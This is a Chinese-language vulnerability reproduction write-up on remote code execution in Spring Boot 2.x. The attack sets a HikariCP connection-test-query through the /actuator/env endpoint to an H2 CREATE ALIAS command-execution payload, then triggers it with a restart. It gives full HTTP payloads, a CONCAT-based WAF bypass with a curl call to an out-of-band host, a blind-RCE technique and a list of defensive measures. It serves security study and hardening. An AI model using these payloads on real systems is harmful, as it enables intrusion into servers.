Spring Boot 2.x Actuator配置不当RCE漏洞复现
字数 1159 2025-08-25 22:58:20
Spring Boot 2.x Actuator配置不当RCE漏洞分析与复现
0x00 漏洞概述
本文详细分析Spring Boot 2.x版本中Actuator配置不当导致的远程代码执行(RCE)漏洞。与Spring Boot 1.x版本的利用方式不同,2.x版本利用了HikariCP数据库连接池和H2数据库的特性实现RCE。
0x01 漏洞环境
- Spring Boot 2.x版本
- 启用了Actuator端点
- 使用了HikariCP作为数据库连接池
- 使用了H2数据库
0x02 漏洞原理
HikariCP数据库连接池
Spring Boot 2.x默认使用HikariCP作为数据库连接池,其中关键配置项为:
spring.datasource.hikari.connection-test-query:该配置对应HikariCP中的connectionTestQuery- 功能:在从连接池获取连接前执行的SQL语句,用于验证数据库连接是否存活
H2数据库特性
H2数据库引擎提供了CREATE ALIAS命令,可以创建Java函数并调用:
CREATE ALIAS GET_SYSTEM_PROPERTY FOR "java.lang.System.getProperty";
CALL GET_SYSTEM_PROPERTY('java.class.path');
通过这个特性可以创建执行系统命令的函数:
String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream());
if (s.hasNext()) { return s.next(); }
throw new IllegalArgumentException();
}
对应的SQL语句:
CREATE ALIAS EXEC AS "String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}";
CALL EXEC('/Applications/Calculator.app/Contents/MacOS/Calculator');
0x03 漏洞利用步骤
-
修改环境变量:通过Actuator的
/actuator/env端点修改spring.datasource.hikari.connection-test-query的值请求示例:
POST /actuator/env HTTP/1.1 Content-Type: application/json { "name": "spring.datasource.hikari.connection-test-query", "value": "CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('/Applications/Calculator.app/Contents/MacOS/Calculator');" } -
触发重启:通过
/actuator/restart端点重启应用,触发新的数据库连接请求示例:
POST /actuator/restart HTTP/1.1 Content-Type: application/json {} -
命令执行:应用重启时会建立新的数据库连接,执行设置的SQL语句,从而触发命令执行
0x04 WAF绕过技术
当遇到WAF过滤exec等关键词时,可以使用字符串拼接技术绕过:
- 使用
CONCAT函数:
CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');
CALL EXEC('curl http://x.burpcollaborator.net');
- 使用
HEXTORAW命令进行编码转换
0x05 Blind RCE利用
由于connection-test-query用于验证连接,如果执行失败应用会认为数据库无法连接。攻击者可利用这一点实现blind RCE:
- 命令执行成功:数据库连接正常
- 命令执行失败:数据库连接异常
0x06 防御措施
- 限制Actuator端点的访问权限
- 禁用不必要的Actuator端点(特别是
/env和/restart) - 在生产环境中不要使用H2数据库
- 对HikariCP配置进行安全加固
- 使用Spring Security进行访问控制